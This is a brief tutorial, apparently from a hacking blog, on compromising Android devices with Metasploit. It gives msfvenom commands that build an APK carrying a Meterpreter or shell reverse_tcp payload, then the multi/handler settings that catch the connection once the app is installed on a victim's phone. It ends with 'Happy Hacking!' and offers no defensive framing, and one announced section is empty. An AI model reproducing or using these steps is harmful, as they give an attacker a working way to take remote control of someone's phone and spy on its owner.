Hacking Android With Metasploit's Android Meterpreter

In order to hack Android we need to create an application (.apk file) that contains embedded Meterpreter functionality as well as new functions unique to the Android version of Meterpreter. We will set up a listener (handler) on the attacking machine and then install this program onto the phone/tablet and execute it so the device performs a reverse connection to the attacking machine.

Creating The Android Meterpreter Application 

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_Address LPORT=Port_Number R > /root/app_name.apk

i.e. msfvenom -p android/shell/reverse_tcp LHOST= LPORT=1234 R > /root/shell.apk

Starting The Listener (Handler)


use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST IP_Address

set LPORT Port_Number


Android Meterpreter Functionality

Happy Hacking!
